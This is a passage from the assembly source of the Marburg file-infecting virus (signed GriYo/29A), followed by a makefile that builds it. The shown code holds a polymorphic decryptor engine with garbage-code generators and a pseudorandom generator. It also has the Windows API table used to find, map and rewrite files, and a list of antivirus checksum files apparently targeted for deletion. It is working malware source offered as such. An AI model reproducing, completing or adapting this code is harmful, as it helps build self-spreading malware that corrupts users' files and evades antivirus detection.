ret
;············································································
;Get a ramdom reg
;············································································
get_rnd_reg: mov eax,00000007h
call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret
;············································································
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;············································································
get_valid_reg: call get_rnd_reg
mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret
;············································································
;Load ecx with crypt_size / oper_size
;············································································
fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret
;············································································
;Generate a block of random data
;············································································
gen_rnd_block: ;Generate up to 27 random bytes
mov eax,00000004h
mov ecx,eax
call get_rnd_range
add ecx,eax
cld
rnd_fill_loop: ;Fill loop, get random dword
call get_rnd32
stosd
loop rnd_fill_loop
ret
;············································································
;Linear congruent pseudorandom number generator
;············································································
get_rnd32: push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,eax
imul eax,41C64E6Dh
add eax,00003039h
mov dword ptr [ebp+rnd32_seed],eax
xor eax,ecx
pop edx
pop ecx
ret
;············································································
;Returns a random num between 0 and entry eax
;············································································
get_rnd_range: push ecx
push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
;············································································
;Virus initialized data
;Copyright notice
db "[ Marburg ViRuS BioCoded by GriYo/29A ]"
;Array of RVAs to function names
viral_functions equ this byte
dd offset szCreateFileA
dd offset szCreateFileMap
dd offset szMapViewOfFile
dd offset szUnmapView
dd offset szCloseHandle
dd offset szFindFirst
dd offset szFindNext
dd offset szFindClose
dd offset szVirtualAlloc
dd offset szGetWinDir
dd offset szGetSysDir
dd offset szGetCurDir
dd offset szSetFileAttr
dd offset szSetFileTime
dd offset szDeleteFile
dd offset szGetCurProc
dd offset szWriteProcMem
dd offset szLoadLibrary
dd offset szGetSysTime
viral_tbl_end equ this byte
;Names of modules used by the virus
szKernel32 db "KERNEL32.dll",00h
szUSER32 db "USER32.dll",00h
;Kernel32 APIs used by the virus
szGetModuleH db "GetModuleHandleA",00h
szGetProcAddr db "GetProcAddress",00h
szCreateFileA db "CreateFileA",00h
szCreateFileMap db "CreateFileMappingA",00h
szMapViewOfFile db "MapViewOfFile",00h
szUnmapView db "UnmapViewOfFile",00h
szCloseHandle db "CloseHandle",00h
szFindFirst db "FindFirstFileA",00h
szFindNext db "FindNextFileA",00h
szFindClose db "FindClose",00h
szVirtualAlloc db "VirtualAlloc",00h
szGetWinDir db "GetWindowsDirectoryA",00h
szGetSysDir db "GetSystemDirectoryA",00h
szGetCurDir db "GetCurrentDirectoryA",00h
szSetFileAttr db "SetFileAttributesA",00h
szSetFileTime db "SetFileTime",00h
szDeleteFile db "DeleteFileA",00h
szGetCurProc db "GetCurrentProcess",00h
szWriteProcMem db "WriteProcessMemory",00h
szLoadLibrary db "LoadLibraryA",00h
szGetSysTime db "GetSystemTime",00h
;User32 APIs used by the virus
szGetDC db "GetDC",00h
szLoadIcon db "LoadIconA",00h
szDrawIcon db "DrawIcon",00h
;Names of AV checksum files
tbl_AV_files equ this byte
dd offset szAvData_00
dd offset szAvData_01
dd offset szAvData_02
dd offset szAvData_03
end_AV_files equ this byte
szAvData_00 db "ANTI-VIR.DAT",00h
szAvData_01 db "CHKLIST.MS",00h
szAvData_02 db "AVP.CRC",00h
szAvData_03 db "IVB.NTZ",00h
;Search mask for FindFirstFile and FindNextFile
szSearch db "*.*",00h
;Infection time
inf_time equ this byte
inf_year dw 0000h
inf_month dw 0000h
inf_dayofweek dw 0000h
inf_day dw 0000h
inf_hour dw 0000h
inf_minute dw 0000h
inf_second dw 0000h
inf_millisec dw 0000h
;Number of bytes to restore at host entry-point
insert_size dd 00000000h
;Initialized data used by the polymorphic engine
;Register table
;
; - Register mask
; - Register flags
tbl_regs equ this byte
db 00000000b,REG_READ_ONLY ;eax
db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
db 00000110b,REG_NO_8BIT ;esi
db 00000111b,REG_NO_8BIT ;edi
db 00000101b,REG_NO_8BIT ;ebp
end_regs equ this byte
;Aliases for reg table structure
REG_MASK equ 00h
REG_FLAGS equ 01h
;Bit aliases for reg flags
REG_IS_INDEX equ 01h
REG_IS_COUNTER equ 02h
REG_READ_ONLY equ 04h
REG_NO_8BIT equ 08h
;Initial reg flags
tbl_startup equ this byte
db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp
;Code that does not disturb reg values
tbl_save_code equ this byte
clc
stc
cmc
cld
std
end_save_code equ this byte
;Generators for get_delta
tbl_delta_mode equ this byte
dd offset delta_method_1
dd offset delta_method_2
dd offset delta_method_3
end_delta_mode equ this byte
;Generators for [reg] indexing mode
tbl_idx_reg equ this byte
dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg
;Generators for [reg+imm] indexing mode
tbl_dis_reg equ this byte
dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg
;Generators for [reg+reg] indexing mode
tbl_xtended equ this byte
dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg
;Generators for [reg+reg+imm] indexing mode
tbl_paranoia equ this byte
dd offset ii_inc_reg
dd offset ii_dec_reg
dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg
;Opcodes for math reg,imm
tbl_math_imm equ this byte
db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb
end_math_imm equ this byte
;Magic aliases
MAGIC_PUTKEY equ 01h
MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh
;Magic data
xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd
offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
;Reverse-code strings
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY
;Decryptor styles
tbl_styles equ this byte
dd offset style_gen_1
dd offset style_gen_2
dd offset style_gen_3
dd offset style_gen_4
dd offset style_gen_5
dd offset style_gen_6
end_styles equ this byte
style_gen_1 dd offset gen_get_delta
dd offset gen_fix_ptr
dd offset gen_load_ctr
dd offset gen_decrypt
dd offset gen_next_step
dd offset gen_next_ctr
dd offset gen_loop
style_gen_2 dd offset gen_get_delta
dd offset gen_load_ctr
dd offset gen_fix_ptr
dd offset gen_decrypt
dd offset gen_next_step
dd offset gen_next_ctr
dd offset gen_loop
style_gen_3 dd offset gen_load_ctr
dd offset gen_get_delta
dd offset gen_fix_ptr
dd offset gen_decrypt
dd offset gen_next_step
dd offset gen_next_ctr
dd offset gen_loop
style_gen_4 dd offset gen_get_delta
dd offset gen_fix_ptr
dd offset gen_load_ctr
dd offset gen_decrypt
dd offset gen_next_ctr
dd offset gen_next_step
dd offset gen_loop
style_gen_5 dd offset gen_get_delta
dd offset gen_load_ctr
dd offset gen_fix_ptr
dd offset gen_decrypt
dd offset gen_next_ctr
dd offset gen_next_step
dd offset gen_loop
style_gen_6 dd offset gen_load_ctr
dd offset gen_get_delta
dd offset gen_fix_ptr
dd offset gen_decrypt
dd offset gen_next_ctr
dd offset gen_next_step
dd offset gen_loop
;Garbage code generators
tbl_garbage equ this byte
dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_push_g_pop ;push reg/garbage/pop reg
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump conditional/garbage
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16
end_garbage equ this byte
;Original code at host entry point
entry_code db BUFFER_EP dup (00h)
;Polymorphic procedures works with byte/word/dword
;We let here a dword to avoid buffer overwrites
safety_01 dd 00000000h
;Polymorphic decryptor buffer
poly_decryptor db DECRYPTOR_SIZE dup (00h)
inf_end equ this byte
;············································································
;Virus uninitialized data
a_Kernel32 dd 00000000h
a_User32 dd 00000000h
a_GetModuleH dd 00000000h
a_GetProcAddr dd 00000000h
;API entry point for each viral function
viral_addresses equ this byte
a_CreateFile dd 00000000h
a_CreateFileMap dd 00000000h
a_MapViewOfFile dd 00000000h
a_UnmapView dd 00000000h
a_CloseHandle dd 00000000h
a_FindFirst dd 00000000h
a_FindNext dd 00000000h
a_FindClose dd 00000000h
a_VirtualAlloc dd 00000000h
a_GetWindowsDir dd 00000000h
a_GetSystemDir dd 00000000h
a_GetCurDir dd 00000000h
a_SetFileAttr dd 00000000h
a_SetFileTime dd 00000000h
a_DeleteFile dd 00000000h
a_GetCurProc dd 00000000h
a_WriteProcMem dd 00000000h
a_LoadLibrary dd 00000000h
a_GetSysTime dd 00000000h
;Misc variables
CreateFile_h dd 00000000h
Mapping_h dd 00000000h
Search_h dd 00000000h
File_Attr dd 00000000h
search_raw dd 00000000h
original_size dd 00000000h
h_icon dd 00000000h
dc_screen dd 00000000h
;Data used by the polymorphic engine
rnd32_seed dd 00000000h ;Seed for random number generator
ptr_disp dd 00000000h ;Displacement from index
end_value dd 00000000h ;Index end value
delta_call dd 00000000h ;Used into delta_offset routines
loop_point dd 00000000h ;Start address of decryption loop
crypt_key dd 00000000h ;Encryption key
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
index_mask db 00h ;Mask of register used as index
counter_mask db 00h ;Mask of register used as counter
build_flags db 00h ;Some decryptor flags
recursive_level db 00h ;Garbage recursive layer
;Decryptor flags aliases
CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h
;Buffer to convert file time to system time
my_system_time equ this byte
time_year dw 0000h
time_month dw 0000h
time_dayofweek dw 0000h
time_day dw 0000h
time_hour dw 0000h
time_minute dw 0000h
time_seconds dw 0000h
time_milisec dw 0000h
;Buffer for \WINDOWS and \SYSTEM directories
szWorkDir db MAX_PATH dup (00h)
;Data about found files
my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h)
;This will be the place for the virus copy
mem_end equ this byte
;············································································
virseg ends
end host_entry
;············································································
-------->8 cut here ---------------------------------------------------------
# Marburg makefile
# make -B Will build wap32.exe
# make -B -DDEBUG Will build the debug version of wap32.exe
NAME = WAP32
OBJS = $(NAME).obj
ASMS = $(NAME).asm
!if $d(DEBUG)
TASMPARAM= /ml /m5 /la /zi
TLINKPARAM= -Tpe -c -s -v -ap
!else
TASMPARAM= /ml /m5 /q /zn
TLINKPARAM= -Tpe -c -x -ap
!endif
!if $d(MAKEDIR)
IMPORT=$(MAKEDIR)\..\lib\import32
!else
IMPORT=import32
!endif
$(NAME).EXE: $(OBJS) $(DEF)
tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT)
.asm.obj:
tasm32 $(TASMPARAM) $(ASMS)